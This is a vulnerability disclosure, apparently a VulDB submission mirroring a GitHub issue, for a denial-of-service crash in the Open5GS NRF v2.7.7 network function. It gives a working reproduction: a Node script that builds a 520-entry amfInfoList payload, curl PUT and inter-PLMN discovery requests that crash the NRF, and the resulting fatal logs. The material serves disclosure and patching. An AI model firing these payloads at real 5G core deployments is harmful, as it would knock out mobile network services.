提交 #818598: Open5GS NRF v2.7.7 Denial of Service信息

标题Open5GS NRF v2.7.7 Denial of Service
描述### Open5GS Release, Revision, or Tag v2.7.7 ### Steps to reproduce ### Description This merged report covers both currently confirmed reachability variants that hit the same `nf_info_pool` exhaustion crash in `handle_amf_info()`. This is not the already documented `handle_amf_info()` `tacRangeList` fixed-array assertion, and it is also distinct from the `smfInfoList` NF-info-pool exhaustion report. Here the crash happens earlier: the shared NF-profile import routine iterates over every `amfInfoList` entry and calls `handle_amf_info()` once per entry: ```c OpenAPI_list_for_each(NFProfile->amf_info_list, node) { OpenAPI_map_t *AmfInfoMap = node->data; if (AmfInfoMap && AmfInfoMap->value) handle_amf_info(nf_instance, AmfInfoMap->value); } ``` `handle_amf_info()` allocates one `ogs_sbi_nf_info_t` per entry and asserts if the fixed `nf_info_pool` is exhausted: ```c nf_info = ogs_sbi_nf_info_add(&nf_instance->nf_info_list, OpenAPI_nf_type_AMF); ogs_assert(nf_info); ``` `ogs_sbi_nf_info_add()` logs a fatal allocation failure and returns `NULL`: ```c ogs_pool_alloc(&nf_info_pool, &nf_info); if (!nf_info) { ogs_fatal("ogs_pool_alloc() failed"); return NULL; } ``` The pool is sized as: ```c ogs_pool_init(&nf_info_pool, ogs_app()->pool.nf * OGS_MAX_NUM_OF_NF_INFO); ``` With default settings that becomes `64 * 8 = 512`. The same exhaustion crash is reachable via: 1. Direct server-side registration: `PUT /nnrf-nfm/v1/nf-instances/{nfInstanceId}` 2. Client-response inter-PLMN discovery: `GET /nnrf-disc/v1/nf-instances`, where a malicious Home-NRF returns an oversized `SearchResult.nfInstances[*].amfInfoList` payload ### Root cause - Shared crash site: `../lib/sbi/nnrf-handler.c:717-719` - Exact helper failure: `../lib/sbi/context.c:1666-1677` - Pool sizing: `../lib/sbi/context.c:62` - Root cause family: resource exhaustion leading to assertion abort - Direct reachability: `PUT /nnrf-nfm/v1/nf-instances/{nfInstanceId}` - Client-response reachability: inter-PLMN `GET /nnrf-disc/v1/nf-instances` - Controlling field: `NFProfile.amfInfoList` ### Steps to reproduce #### Direct reproduction 1. Resolve the current NRF IP: ```bash NRF_IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' nrf) echo "$NRF_IP" ``` 2. Generate a small control payload and a large malicious payload: ```bash mkdir -p /home/ubuntu/open5gs_277/.audit_tmp node <<'NODE' const fs = require('fs'); function amfInfoEntry(index) { const hex = index.toString(16).padStart(6, '0'); return { amfSetId: '001', amfRegionId: '02', guamiList: [ { plmnId: { mcc: '001', mnc: '01' }, amfId: '020040', }, ], taiList: [ { plmnId: { mcc: '001', mnc: '01' }, tac: hex, }, ], }; } function makeProfile(id, count) { const amfInfoList = {}; for (let i = 0; i < count; i++) { amfInfoList[`entry-${String(i + 1).padStart(4, '0')}`] = amfInfoEntry(i + 1); } return { nfInstanceId: id, nfType: 'AMF', nfStatus: 'REGISTERED', ipv4Addresses: ['127.0.0.1'], amfInfoList, }; } fs.writeFileSync('/home/ubuntu/open5gs_277/.audit_tmp/nrf-amfinfo-list-control.json', JSON.stringify( makeProfile('88888888-8888-8888-8888-888888888888', 4) )); fs.writeFileSync('/home/ubuntu/open5gs_277/.audit_tmp/nrf-amfinfo-list-bomb.json', JSON.stringify( makeProfile('99999999-9999-9999-9999-999999999999', 520) )); NODE ``` 3. Control case: ```bash docker restart nrf >/dev/null sleep 2 curl --http2-prior-knowledge -sS -i -m 10 \ -X PUT "http://$NRF_IP/nnrf-nfm/v1/nf-instances/88888888-8888-8888-8888-888888888888" \ -H 'content-type: application/json' \ --data @/home/ubuntu/open5gs_277/.audit_tmp/nrf-amfinfo-list-control.json ``` 4. Malicious case: ```bash start_ts=$(date -u +%Y-%m-%dT%H:%M:%SZ) docker restart nrf >/dev/null sleep 2 curl --http2-prior-knowledge -sS -i -m 10 \ -X PUT "http://$NRF_IP/nnrf-nfm/v1/nf-instances/99999999-9999-9999-9999-999999999999" \ -H 'content-type: application/json' \ --data @/home/ubuntu/open5gs_277/.audit_tmp/nrf-amfinfo-list-bomb.json docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}} {{.RestartCount}}' nrf docker logs --since "$start_ts" nrf ``` Observed in the confirmed run: ```text HTTP/2 201 curl: (92) HTTP/2 stream 1 was not closed cleanly before end of the underlying stream exited 139 2026-04-24T00:57:02.88900306Z 0 04/24 00:57:02.684: [sbi] FATAL: ogs_pool_alloc() failed (../lib/sbi/context.c:1676) 04/24 00:57:02.684: [sbi] FATAL: handle_amf_info: Assertion `nf_info' failed. (../lib/sbi/nnrf-handler.c:719) ``` #### Inter-PLMN reproduction 1. Start or restart the fake Home-NRF helper: ```bash docker restart hnrfctl >/dev/null ``` 2. Control case: ```bash printf 'control\n' > /home/ubuntu/open5gs_277/.audit_tmp/nrf_fake_hnrf.mode docker restart nrf >/dev/null sleep 2 curl --http2-prior-knowledge -sS -i -m 8 --get \ "http://$NRF_IP/nnrf-disc/v1/nf-instances" \ --data-urlencode 'target-nf-type=UDR' \ --data-urlencode 'requester-nf-type=UDM' \ --data-urlencode 'target-plmn-list=[{"mcc":"999","mnc":"70"}]' \ --data-urlencode 'requester-plmn-list=[{"mcc":"001","mnc":"01"}]' \ --data-urlencode 'hnrf-uri=http://hnrfctl' ``` 3. Malicious case: ```bash printf 'amfinfo-list-pool\n' > /home/ubuntu/open5gs_277/.audit_tmp/nrf_fake_hnrf.mode start_ts=$(date -u +%Y-%m-%dT%H:%M:%SZ) docker restart nrf >/dev/null sleep 2 curl --http2-prior-knowledge -sS -i -m 10 --get \ "http://$NRF_IP/nnrf-disc/v1/nf-instances" \ --data-urlencode 'target-nf-type=UDR' \ --data-urlencode 'requester-nf-type=UDM' \ --data-urlencode 'target-plmn-list=[{"mcc":"999","mnc":"70"}]' \ --data-urlencode 'requester-plmn-list=[{"mcc":"001","mnc":"01"}]' \ --data-urlencode 'hnrf-uri=http://hnrfctl' docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}} {{.RestartCount}}' nrf docker logs --since "$start_ts" nrf ``` Observed in the confirmed run: ```text HTTP/2 200 curl: (92) HTTP/2 stream 1 was not closed cleanly before end of the underlying stream exited 139 2026-04-24T01:47:19.329911479Z 0 04/24 01:47:19.149: [nrf] INFO: [fake-foreign-udr-amfinfo-list-pool] (NF-discover) NF registered [type:UDR] (../src/nrf/nnrf-handler.c:1460) 04/24 01:47:19.150: [sbi] FATAL: ogs_pool_alloc() failed (../lib/sbi/context.c:1676) 04/24 01:47:19.150: [sbi] FATAL: handle_amf_info: Assertion `nf_info' failed. (../lib/sbi/nnrf-handler.c:719) ``` ### Logs ```shell HTTP/2 200 curl: (92) HTTP/2 stream 1 was not closed cleanly before end of the underlying stream exited 139 2026-04-24T01:47:19.329911479Z 0 04/24 01:47:19.149: [nrf] INFO: [fake-foreign-udr-amfinfo-list-pool] (NF-discover) NF registered [type:UDR] (../src/nrf/nnrf-handler.c:1460) 04/24 01:47:19.150: [sbi] FATAL: ogs_pool_alloc() failed (../lib/sbi/context.c:1676) 04/24 01:47:19.150: [sbi] FATAL: handle_amf_info: Assertion `nf_info' failed. (../lib/sbi/nnrf-handler.c:719) ``` ### Expected behaviour NRF should reject unreasonably large `amfInfoList` collections with a normal HTTP error and remain running, regardless of whether they arrive via direct registration or a trusted Home-NRF response. ### Observed Behaviour Both direct registration and inter-PLMN discovery response parsing hit the same `nf_info_pool` exhaustion crash and terminate NRF with exit code `139`. ### eNodeB/gNodeB Not required. ### UE Models and versions Not required.
来源⚠️ https://github.com/open5gs/open5gs/issues/4480
用户
 FrankyLin (UID 94345)
提交2026-05-04 05時10分 (1 月前)
管理2026-05-30 08時05分 (26 days later)
状态已接受
VulDB条目367409 [Open5GS 直到 2.7.7 nf-instances Endpoint /lib/sbi/nnrf-handler.c handle_amf_info nf_info_pool 拒绝服务]
积分20

Want to know what is going to be exploited?

We predict KEV entries!